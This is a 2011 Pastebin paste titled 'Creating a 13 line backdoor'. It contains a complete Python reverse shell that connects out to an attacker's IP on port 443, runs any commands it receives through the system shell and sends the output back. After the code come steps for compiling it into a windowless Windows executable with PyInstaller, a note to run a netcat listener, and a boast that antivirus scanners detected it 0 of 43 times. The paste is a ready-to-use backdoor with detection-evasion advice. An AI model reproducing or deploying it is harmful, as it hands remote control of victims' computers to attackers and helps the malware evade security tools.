Advertisement
Guest User

Creating a 13 line backdoor

a guest
Jul 24th, 2011
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. #!/usr/bin/python
  2. # imports here
  3. import socket,subprocess
  4. HOST = '172.16.32.137' # The remote host
  5. PORT = 443 # The same port as used by the server
  6. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. # connect to attacker machine
  8. s.connect((HOST, PORT))
  9. # send we are connected
  10. s.send('[*] Connection Established!')
  11. # start loop
  12. while 1:
  13. # recieve shell command
  14. data = s.recv(1024)
  15. # if its quit, then break out and close socket
  16. if data == "quit": break
  17. # do shell command
  18. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  19. # read output
  20. stdout_value = proc.stdout.read() + proc.stderr.read()
  21. # send output to attacker
  22. s.send(stdout_value)
  23. # close socket
  24. s.close()
  25.  
  26. ------------------------------------------------------------------
  27.  
  28. Be sure to change the IP-Address and PORT above. In order to compile this, download pyinstaller and on windows for example or nix, create a file called compile.bat and save the above code as shell.py and put the following in it:
  29.  
  30. -----------------------------------------------------------------------
  31.  
  32. PATH=C:\Python27 # Put your path to Python if it isn't there, otherwise safely delete that
  33. python Configure.py
  34. python Makespec.py --onefile --noconsole shell.py
  35. python Build.py shell\shell.spec
  36.  
  37. -----------------------------------------------------------------------
  38.  
  39. This will create a compiled based executable under shell/dist. Simply run shell.exe and have netcat listening up. Surprisingly upload it to virustotal.com and you get 0/43 detected. Obviously this is a custom reverse shell, so A/V really shouldn’t be triggering on this.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement